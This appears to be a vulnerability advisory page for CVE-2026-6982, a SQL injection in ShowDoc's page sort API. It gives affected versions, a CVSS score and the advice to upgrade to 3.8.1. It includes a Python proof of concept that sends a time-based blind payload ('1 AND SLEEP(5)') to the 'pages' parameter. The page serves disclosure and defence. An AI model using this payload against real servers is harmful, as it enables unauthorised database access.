Security Vulnerability Report
中文
CVE-2026-6982 CVSS 6.3 MEDIUM

CVE-2026-6982

Published: 2026-04-25 15:16:18
Last Modified: 2026-04-27 18:42:12

Description

A vulnerability was determined in star7th ShowDoc up to 2.10.10/3.6.2/3.8.0. Affected by this vulnerability is an unknown functionality of the file server/Application/Api/Controller/PageController.class.PHP of the component API Page Sort Endpoint. Executing a manipulation of the argument pages can lead to sql injection. The attack may be launched remotely. Upgrading to version 3.8.1 addresses this issue. It is suggested to upgrade the affected component. According to the researcher, "[t]he vendor explicitly stated they will not backport patches to the older affected versions."

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

star7th ShowDoc <= 2.10.10
star7th ShowDoc <= 3.6.2
star7th ShowDoc <= 3.8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Proof of Concept (PoC) for CVE-2026-6982 # This script demonstrates the SQL injection vulnerability in the 'pages' parameter. TARGET_URL = "http://target-showdoc-url/server/index.php?s=/api/page/sort" # Malicious payload to test SQL injection (Time-based blind) # The payload attempts to cause a delay in the database response PAYLOAD = "1 AND SLEEP(5)-- -" data = { "pages": PAYLOAD } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } try: print(f"Sending request to {TARGET_URL}...") response = requests.post(TARGET_URL, data=data, headers=headers, timeout=10) # Check if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Database responded with delay.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")

References

Raw JSON Data

JSON
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